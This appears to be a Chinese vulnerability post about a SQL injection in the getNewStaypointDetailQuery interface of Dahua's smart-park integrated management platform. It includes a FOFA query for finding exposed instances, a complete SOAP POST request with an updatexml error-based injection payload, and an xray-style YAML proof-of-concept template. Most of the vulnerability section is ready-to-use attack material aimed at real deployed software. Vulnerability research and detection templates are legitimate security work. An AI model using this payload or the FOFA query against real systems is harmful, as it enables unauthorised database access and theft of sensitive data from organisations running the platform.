Advertisement

大华智慧园区综合管理平台 getNewStaypointDetailQuery SQL注入

阅读量:

简介

大华智慧园区解决方案通过加载AI技术实现园区安防与办公应用的智慧化升级,显著提升了企业的安全水平和办公效能;该方案深入拓展至各类业务场景,通过人、车、物数据的线上融合与计算,为企业提供全方位的数据支持,助力园区实现智能化管理;通过构建园区大数据平台,整合收集各类业务子系统数据,为企业提供全维度的数据分析能力与决策支持,实现了对事件的有效监控与全面管理;从而帮助企业加速数字化转型进程,显著提升了安全水平、运营效能以及管理效能

漏洞简介

在大华智慧园区综合管理平台的getNewStaypointDetailQuery接口处,默认未对用户的输入进行有效的过滤,在未经安全验证的字符串被直接注入到该SQL查询语句中时会引发严重的安全风险问题。这种情况下潜在的远程未授权攻击者可以通过该漏洞获取目标系统的敏感信息,并进一步利用这些信息非法获取目标系统的权限。

影响范围

大华智慧园区综合管理平台
Fofa:

复制代码
    app="dahua-智慧园区综合管理平台"

漏洞复现

复制代码
 POST /portal/services/carQuery/getNewStaypointDetailQuery HTTP/1.1

    
 Host: 
    
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
    
 Content-Type: text/xml;charset=UTF-8
    
 Content-Length: 495
    
  
    
 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:car="http://carQuery.webservice.dssc.dahua.com">
    
 <soapenv:Header/>
    
 <soapenv:Body>
    
 <car:getNewStaypointDetailQuery>
    
 <!--type: string-->
    
 <searchJson>{}</searchJson>
    
 <!--type: string-->
    
 <pageJson>{"orderBy":"1 and 1=updatexml(1,concat(0x7e,(select user()),0x7e),1)--"}</pageJson>
    
 <!--type: string-->
    
 <extend>quae divum incedo</extend>
    
 </car:getNewStaypointDetailQuery>
    
 </soapenv:Body>
    
 </soapenv:Envelope>

poc

复制代码
 params: []

    
 name: 大华智慧园区综合管理平台 getNewStaypointDetailQuery SQL注入
    
 set: {}
    
 rules:
    
 - method: POST
    
   path: /portal/services/carQuery/getNewStaypointDetailQuery
    
   headers:
    
     Content-Type: text/xml;charset=UTF-8
    
   body: |-
    
     <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:car="http://carQuery.webservice.dssc.dahua.com">
    
     <soapenv:Header/>
    
     <soapenv:Body>
    
     <car:getNewStaypointDetailQuery>
    
     <!--type: string-->
    
     <searchJson>{}</searchJson>
    
     <!--type: string-->
    
     <pageJson>{"orderBy":"1 and 1=updatexml(1,concat(0x7e,(select user()),0x7e),1)--"}</pageJson>
    
     <!--type: string-->
    
     <extend>quae divum incedo</extend>
    
     </car:getNewStaypointDetailQuery>
    
     </soapenv:Body>
    
     </soapenv:Envelope>
    
   search: ""
    
   followredirects: false
    
   expression: response.status == 500 && response.body.bcontains(b"java.sql.SQLException")
    
 groups: {}
    
 detail:
    
   author: ""
    
   links: []
    
   description: ""
    
   version: ""

全部评论 (0)

还没有任何评论哟~